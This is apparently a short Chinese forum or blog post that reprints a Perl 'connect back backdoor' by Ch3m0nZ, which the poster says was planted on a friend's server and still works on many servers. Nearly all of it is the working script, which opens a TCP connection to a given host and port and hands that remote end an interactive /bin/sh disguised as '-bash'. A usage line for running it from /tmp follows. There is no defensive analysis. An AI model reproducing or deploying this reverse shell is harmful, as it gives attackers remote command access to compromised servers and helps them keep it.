一个很久以前的东西,结果我朋友说他的服务器上被放了这个后门。看来这个东西在很多服务器上还是可以用啊。
#!/usr/bin/perl
# Connect Back Backdoor by Ch3m0nZ
# Viva Satanic Souls
use Socket;
print "Connect Back Backdoor by Ch3m0nZ - Satanic Souls\n\n";
if (!$ARGV[0]) {
printf "Alvo: $0 [Host] <Port>\n";
exit(1);
}
print "[*] Enviando comandos maliciosos\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[*] Conectando....\n";
$proto = getprotobyname('tcp') || die("[-] Protocolo desconhecido\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Erro de Socket\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("[-] Não é possivel conectar\n");
}
print "[*] Obtendo acesso do servidor\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print "[*] Conectado! Divirta-se. HeHeHe\n\n";

此后门用法,以将其放到/tmp目录下为例:
perl /tmp/cb.pl targetip port